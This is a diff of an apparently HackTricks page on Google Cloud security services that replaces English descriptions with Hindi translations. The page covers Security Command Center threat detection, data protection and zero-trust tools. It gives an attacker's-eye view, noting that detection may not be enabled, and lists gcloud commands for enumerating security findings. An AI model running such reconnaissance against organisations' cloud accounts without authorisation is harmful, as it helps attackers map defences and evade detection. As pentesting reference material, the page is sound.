- **Sources**: GCP सुरक्षा के सभी विभिन्न अनुभागों के **निष्कर्षों का सारांश दिखाता है** **अनुभाग द्वारा**।
|
||||
- **Posture**: \[Premium Required] सुरक्षा स्थिति **GCP वातावरण की सुरक्षा को परिभाषित, आकलन और निगरानी करने की अनुमति देती है**। यह नीति बनाने के द्वारा काम करता है जो GCP में संसाधनों को नियंत्रित/निगरानी करने के लिए प्रतिबंध या सीमाएँ परिभाषित करता है। कई पूर्व-निर्धारित स्थिति टेम्पलेट्स [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy) पर पाए जा सकते हैं।
|
||||
|
||||
### **Threats**
|
||||
|
||||
From the perspective of an attacker, this is probably the **most interesting feature as it could detect the attacker**. However, note that this feature requires **Premium** (which means that the company will need to pay more), so it **might not be even enabled**.
|
||||
एक हमलावर के दृष्टिकोण से, यह शायद **सबसे दिलचस्प विशेषता है क्योंकि यह हमलावर का पता लगा सकती है**। हालाँकि, ध्यान दें कि इस विशेषता के लिए **Premium** की आवश्यकता होती है (जिसका अर्थ है कि कंपनी को अधिक भुगतान करना होगा), इसलिए यह **शायद सक्षम भी नहीं हो**।
|
||||
|
||||
There are 3 types of threat detection mechanisms:
|
||||
खतरे की पहचान के 3 प्रकार के तंत्र हैं:
|
||||
|
||||
- **Event Threats**: Findings produced by matching events from **Cloud Logging** based on **rules created** internally by Google. It can also scan **Google Workspace logs**.
|
||||
- It's possible to find the description of all the [**detection rules in the docs**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
|
||||
- **Container Threats**: Findings produced after analyzing low-level behavior of the kernel of containers.
|
||||
- **Custom Threats**: Rules created by the company.
|
||||
- **Event Threats**: **Cloud Logging** से घटनाओं का मिलान करके उत्पन्न निष्कर्ष। यह **Google Workspace लॉग** को भी स्कैन कर सकता है।
|
||||
- सभी [**पहचान नियमों का विवरण दस्तावेज़ों में पाया जा सकता है**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
|
||||
- **Container Threats**: कंटेनरों के कर्नेल के निम्न-स्तरीय व्यवहार का विश्लेषण करने के बाद उत्पन्न निष्कर्ष।
|
||||
- **Custom Threats**: कंपनी द्वारा बनाए गए नियम।
|
||||
|
||||
It's possible to find recommended responses to detected threats of both types in [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response)
|
||||
दोनों प्रकार के पहचाने गए खतरों के लिए अनुशंसित प्रतिक्रियाएँ [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response) पर पाई जा सकती हैं।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get a source
|
||||
gcloud scc sources describe <org-number> --source=5678
|
||||
@@ -45,7 +44,6 @@ gcloud scc notifications list <org-number>
|
||||
# Get findings (if not premium these are just vulnerabilities)
|
||||
gcloud scc findings list <org-number>
|
||||
```
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
@@ -54,28 +52,28 @@ gcloud scc findings list <org-number>
|
||||
|
||||
## Detections and Controls
|
||||
|
||||
- **Chronicle SecOps**: An advanced security operations suite designed to help teams increase their speed and impact of security operations, including threat detection, investigation, and response.
|
||||
- **reCAPTCHA Enterprise**: A service that protects websites from fraudulent activities like scraping, credential stuffing, and automated attacks by distinguishing between human users and bots.
|
||||
- **Web Security Scanner**: Automated security scanning tool that detects vulnerabilities and common security issues in web applications hosted on Google Cloud or another web service.
|
||||
- **Risk Manager**: A governance, risk, and compliance (GRC) tool that helps organizations assess, document, and understand their Google Cloud risk posture.
|
||||
- **Binary Authorization**: A security control for containers that ensures only trusted container images are deployed on Kubernetes Engine clusters according to policies set by the enterprise.
|
||||
- **Advisory Notifications**: A service that provides alerts and advisories about potential security issues, vulnerabilities, and recommended actions to keep resources secure.
|
||||
- **Access Approval**: A feature that allows organizations to require explicit approval before Google employees can access their data or configurations, providing an additional layer of control and auditability.
|
||||
- **Managed Microsoft AD**: A service offering managed Microsoft Active Directory (AD) that allows users to use their existing Microsoft AD-dependent apps and workloads on Google Cloud.
|
||||
- **Chronicle SecOps**: एक उन्नत सुरक्षा संचालन सूट जो टीमों को सुरक्षा संचालन की गति और प्रभाव को बढ़ाने में मदद करता है, जिसमें खतरे की पहचान, जांच और प्रतिक्रिया शामिल है।
|
||||
- **reCAPTCHA Enterprise**: एक सेवा जो वेबसाइटों को धोखाधड़ी गतिविधियों जैसे स्क्रैपिंग, क्रेडेंशियल स्टफिंग, और स्वचालित हमलों से बचाती है, मानव उपयोगकर्ताओं और बॉट्स के बीच अंतर करके।
|
||||
- **Web Security Scanner**: एक स्वचालित सुरक्षा स्कैनिंग उपकरण जो Google Cloud या किसी अन्य वेब सेवा पर होस्ट की गई वेब अनुप्रयोगों में कमजोरियों और सामान्य सुरक्षा मुद्दों का पता लगाता है।
|
||||
- **Risk Manager**: एक शासन, जोखिम, और अनुपालन (GRC) उपकरण जो संगठनों को उनके Google Cloud जोखिम स्थिति का आकलन, दस्तावेज़ और समझने में मदद करता है।
|
||||
- **Binary Authorization**: कंटेनरों के लिए एक सुरक्षा नियंत्रण जो सुनिश्चित करता है कि केवल विश्वसनीय कंटेनर छवियाँ Kubernetes Engine क्लस्टरों पर उन नीतियों के अनुसार तैनात की जाती हैं जो उद्यम द्वारा निर्धारित की गई हैं।
|
||||
- **Advisory Notifications**: एक सेवा जो संभावित सुरक्षा मुद्दों, कमजोरियों, और संसाधनों को सुरक्षित रखने के लिए अनुशंसित कार्यों के बारे में अलर्ट और सलाह प्रदान करती है।
|
||||
- **Access Approval**: एक विशेषता जो संगठनों को यह आवश्यक बनाने की अनुमति देती है कि Google कर्मचारी उनके डेटा या कॉन्फ़िगरेशन तक पहुँचने से पहले स्पष्ट अनुमोदन प्राप्त करें, जिससे नियंत्रण और ऑडिट करने की एक अतिरिक्त परत मिलती है।
|
||||
- **Managed Microsoft AD**: एक सेवा जो प्रबंधित Microsoft Active Directory (AD) की पेशकश करती है जो उपयोगकर्ताओं को Google Cloud पर उनके मौजूदा Microsoft AD-निर्भर ऐप्स और कार्यभार का उपयोग करने की अनुमति देती है।
|
||||
|
||||
## Data Protection
|
||||
|
||||
- **Sensitive Data Protection**: Tools and practices aimed at safeguarding sensitive data, such as personal information or intellectual property, against unauthorized access or exposure.
|
||||
- **Data Loss Prevention (DLP)**: A set of tools and processes used to identify, monitor, and protect data in use, in motion, and at rest through deep content inspection and by applying a comprehensive set of data protection rules.
|
||||
- **Certificate Authority Service**: A scalable and secure service that simplifies and automates the management, deployment, and renewal of SSL/TLS certificates for internal and external services.
|
||||
- **Key Management**: A cloud-based service that allows you to manage cryptographic keys for your applications, including the creation, import, rotation, use, and destruction of encryption keys. More info in:
|
||||
- **Sensitive Data Protection**: संवेदनशील डेटा, जैसे व्यक्तिगत जानकारी या बौद्धिक संपत्ति, को अनधिकृत पहुँच या उजागर होने से बचाने के लिए उपकरण और प्रथाएँ।
|
||||
- **Data Loss Prevention (DLP)**: एक सेट उपकरण और प्रक्रियाएँ जो उपयोग में, गति में, और विश्राम में डेटा की पहचान, निगरानी, और सुरक्षा के लिए गहन सामग्री निरीक्षण और डेटा सुरक्षा नियमों के एक व्यापक सेट को लागू करती हैं।
|
||||
- **Certificate Authority Service**: एक स्केलेबल और सुरक्षित सेवा जो आंतरिक और बाहरी सेवाओं के लिए SSL/TLS प्रमाणपत्रों के प्रबंधन, तैनाती, और नवीनीकरण को सरल और स्वचालित करती है।
|
||||
- **Key Management**: एक क्लाउड-आधारित सेवा जो आपको अपने अनुप्रयोगों के लिए क्रिप्टोग्राफिक कुंजियों का प्रबंधन करने की अनुमति देती है, जिसमें एन्क्रिप्शन कुंजियों का निर्माण, आयात, घुमाव, उपयोग, और विनाश शामिल है। अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
- **Certificate Manager**: A service that manages and deploys SSL/TLS certificates, ensuring secure and encrypted connections to your web services and applications.
|
||||
- **Secret Manager**: A secure and convenient storage system for API keys, passwords, certificates, and other sensitive data, which allows for the easy and secure access and management of these secrets in applications. More info in:
|
||||
- **Certificate Manager**: एक सेवा जो SSL/TLS प्रमाणपत्रों का प्रबंधन और तैनाती करती है, आपके वेब सेवाओं और अनुप्रयोगों के लिए सुरक्षित और एन्क्रिप्टेड कनेक्शन सुनिश्चित करती है।
|
||||
- **Secret Manager**: API कुंजियों, पासवर्ड, प्रमाणपत्रों, और अन्य संवेदनशील डेटा के लिए एक सुरक्षित और सुविधाजनक भंडारण प्रणाली, जो अनुप्रयोगों में इन रहस्यों की आसान और सुरक्षित पहुँच और प्रबंधन की अनुमति देती है। अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secrets-manager-enum.md
|
||||
@@ -83,14 +81,10 @@ gcp-secrets-manager-enum.md
|
||||
|
||||
## Zero Trust
|
||||
|
||||
- **BeyondCorp Enterprise**: A zero-trust security platform that enables secure access to internal applications without the need for a traditional VPN, by relying on verification of user and device trust before granting access.
|
||||
- **Policy Troubleshooter**: A tool designed to help administrators understand and resolve access issues in their organization by identifying why a user has access to certain resources or why access was denied, thereby aiding in the enforcement of zero-trust policies.
|
||||
- **Identity-Aware Proxy (IAP)**: A service that controls access to cloud applications and VMs running on Google Cloud, on-premises, or other clouds, based on the identity and the context of the request rather than by the network from which the request originates.
|
||||
- **VPC Service Controls**: Security perimeters that provide additional layers of protection to resources and services hosted in Google Cloud's Virtual Private Cloud (VPC), preventing data exfiltration and providing granular access control.
|
||||
- **Access Context Manager**: Part of Google Cloud's BeyondCorp Enterprise, this tool helps define and enforce fine-grained access control policies based on a user's identity and the context of their request, such as device security status, IP address, and more.
|
||||
- **BeyondCorp Enterprise**: एक जीरो-ट्रस्ट सुरक्षा प्लेटफ़ॉर्म जो पारंपरिक VPN की आवश्यकता के बिना आंतरिक अनुप्रयोगों तक सुरक्षित पहुँच सक्षम करता है, उपयोगकर्ता और डिवाइस की विश्वसनीयता के सत्यापन पर निर्भर करता है।
|
||||
- **Policy Troubleshooter**: एक उपकरण जो प्रशासकों को उनकी संगठन में पहुँच मुद्दों को समझने और हल करने में मदद करने के लिए डिज़ाइन किया गया है, यह पहचानने के लिए कि किसी उपयोगकर्ता को कुछ संसाधनों तक पहुँच क्यों है या क्यों पहुँच अस्वीकृत की गई, इस प्रकार जीरो-ट्रस्ट नीतियों के प्रवर्तन में सहायता करता है।
|
||||
- **Identity-Aware Proxy (IAP)**: एक सेवा जो Google Cloud, ऑन-प्रिमाइसेस, या अन्य क्लाउड पर चलने वाले क्लाउड अनुप्रयोगों और VMs तक पहुँच को नियंत्रित करती है, अनुरोध के नेटवर्क के बजाय उपयोगकर्ता की पहचान और अनुरोध के संदर्भ के आधार पर।
|
||||
- **VPC Service Controls**: सुरक्षा परिधियाँ जो Google Cloud के वर्चुअल प्राइवेट क्लाउड (VPC) में होस्ट की गई संसाधनों और सेवाओं को अतिरिक्त सुरक्षा परतें प्रदान करती हैं, डेटा निकासी को रोकती हैं और सूक्ष्म पहुँच नियंत्रण प्रदान करती हैं।
|
||||
- **Access Context Manager**: Google Cloud के BeyondCorp Enterprise का एक भाग, यह उपकरण उपयोगकर्ता की पहचान और उनके अनुरोध के संदर्भ के आधार पर सूक्ष्म पहुँच नियंत्रण नीतियों को परिभाषित और लागू करने में मदद करता है, जैसे डिवाइस सुरक्षा स्थिति, IP पता, और अधिक।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user